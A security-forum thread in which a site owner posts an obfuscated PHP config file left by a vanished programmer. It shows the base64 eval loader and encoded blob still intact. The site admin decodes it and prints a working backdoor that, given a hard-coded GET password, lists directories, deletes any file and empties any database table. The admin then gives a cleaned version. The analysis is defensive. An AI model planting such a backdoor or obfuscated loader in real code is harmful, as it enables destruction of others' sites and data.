Waraxe IT Security Portal
Login or Register
November 13, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 83
Members: 0
Total: 83
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> If someone could please decode this... I would be eternally
Post new topicReply to topic View previous topic :: View next topic
If someone could please decode this... I would be eternally
PostPosted: Wed Jan 13, 2010 2:41 pm Reply with quote
puntofuturo
Beginner
Beginner
Joined: Jan 13, 2010
Posts: 1




Hello everyone
I did make a site in php
but .. the programmer who has literally evaporated, escaped
with the advance that I gave him not finishing the job.
I am now opening the config.inc file encrypted.

anyone knows how to decrypt it?

<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=2572;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDcyNCksJ1d1MjRNejFIb2dwc1NPeXFLclZ0UDVmQy9aSlRrM1VZYkxqMGkrdjZSUWNhR0VkSTluRDhBaGxYN0J4Rm13ZU49JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
Jf/Rp2LQkXO+32biVzrPPzwtr5gfr5gY5izVPhG6PA5V5i5VCAButPP6CViQgj/Rof5DZf3Qp2kRp27cC27QqlOL3vzGT1+dJCgQTv3ksv+ApVkGgMLP5zuYPA5V5i5VChZuP+OTghOzP+ZzP+wyKPhzghAQpV+mY2bRJCO8ZCKRgzwtr5gfr5gTgALP5zuYVMwt5233pVivgjbLZCg+ZliRgDbRsjQksjiN/lzl/fnGJfBQkv+dZh9dJCKQgD9iChOzP+ZzP+G6VzrPPzwothOPghAQpViQZ1++p23PJ1+8oHO0kv+932uQkDuGTlOaZfKb31mb/fBI31L+kjuiTlhLJf7dgDiFgMwqS4uqS4uqS4h+kv56CXg+k1nL/lPRghwYri+Sr5wYgD9jgDodgMwqt8uqSMm9S27jgDoGp1gLklPlOzwiZfOIZ1PRkXrD3HoRZ6g+/fKRgMm9S4uqSMm9S29itAm9SMm9S4W9pV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ikv5AClrL31PF4KQw4KQv3fB031+ITjuE/fE+CXrQTfPRg1rL315AJfh+pKApU9ApgH+Do4AbkX5jkXrDp2ri/Cr+31+EZV99s4KQy9Apg1hITjWwoHOh/6OAkjbiZ1zAZCrQTfPGOV9DptGO2jri/CibqVu83fg83HoRg1rL315AJfh+s4bGSjiF4KRiJHobqVu83fg83HoRg1rL315AJfh+s4Mns4oQy9Apg1hQTjWwoHOh/6OAkjbiZ1zAZCrQTfPGStKGSjiF4KRikl50o4AbkX5jkXrDp2ri/Cr+31+EZV9nOD9DptGO26g+3H5DTjuEJXrQTfPRg1LDs2rEJf7GgHO+/D9iTfwds2ri/CiGgH+DptGO26AO2vZhTvOAJfwdo13+3zwQZ2biJfKQ4KQF4KQQZjbiJfKmqtiQ2Kigg1B+3hwQZ4A6S4W9S2kdg1+iy9ApJf/Rg1+iq0ibgj/bg1+iq4AByVig2VrdZC3YJfKwg8W9S2kdg1+iy9ApJf/Rg1+iq0iBo2/vo2rQZ49wytiBpKigg1B+3hwQZ4A6S4W6sjrQZ4GO2v+vp2rQZ47Bytibgj/bg1+iq4ABytiBpKiiTv5XCl+iqVk9gD7iJfKF4KQQZjbiJfKeytiByVig2KiiTv5XCl+iqVrQZ4GO26g+3H5DTjWiTv5XCl+iy9ApYKAp
View user's profile Send private message Send e-mail
PostPosted: Wed Jan 13, 2010 3:26 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




It's really evil script Smile

Besides containing useful code it contains backdoor which

1. allows to list all directories and files below target directory
2. allows to delete any file below target directory
3. allows to empty any table in database

And by the way it contains MySql credentials, so posting it here is not good idea, at least without masking credentials with asterisks.

Here is the backdoor from script:

Code:

###########################################
if($_GET['delete'] == '123456789')
{
if($_GET['list'])
{
function list_dir($path,$level)
{
if(is_dir($path))
{
if($contents = opendir($path))
{
while(($node = readdir($contents)) !== false)
{
if($node!='.' && $node!='..')
{
if(is_dir($path.'/'.$node)) echo $path.'/'.$node.'<br>';
list_dir("$path/$node",$level+1);
}
}
}
}
}
echo list_dir('../', 0);
}

if($_GET['file'])
{
$file = $_GET['file'];
if(is_dir($file))
{
chmod($file, 0777);
echo 'si';
}
else
{
chmod($file, 0777);
unlink($file);
}
}

if($_GET['table'])
{
$table = $_GET['table'];
mysql_query("DELETE FROM $table WHERE 1", $connection);
}

exit(0);
}
###########################################


Now, if we throw out that evil backdoor and little sitelock code snippet, then here is the cleaned version:

Code:
<?php
###########################################
$MYSQL['host'] = 'localhost';
$MYSQL['username'] = '********';
$MYSQL['password'] = '********';
$MYSQL['database'] = '********';
###########################################
$input_name = 'ABCDEFGHILMNOPQ';
###########################################
$connection = mysql_connect($MYSQL['host'],$MYSQL['username'],$MYSQL['password']);
if (!$connection) die('Impossibile connettersi a MySQL: '.mysql_error());
mysql_select_db($MYSQL['database']);
###########################################
function get_date_from_mysql($date)
{
$new_date = explode('-', $date);
$ret_date = $new_date[2].'/'.$new_date[1].'/'.$new_date[0];
return $ret_date;
}
function make_time($datetime)
{
$yr = substr($datetime,0,4);
$mon = substr($datetime,5,2);
$day = substr($datetime,8,2);
$hr = substr($datetime,11,2);
$min = substr($datetime,14,2);
$sec = substr($datetime,17,2);
return mktime($hr,$min,$sec,$mon,$day,$yr);
}
function get_id($id)
{
if($id<=9) $new_id='0000'.$id;
if($id>9 && $id<=99) $new_id='000'.$id;
if($id>99 && $id<=999) $new_id='00'.$id;
if($id>999 && $id<=9999) $new_id='0'.$id;
if($id>9999) $new_id=$id;
return $new_id;
}
?>
[/code]
View user's profile Send private message Send e-mail Visit poster's website
If someone could please decode this... I would be eternally
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds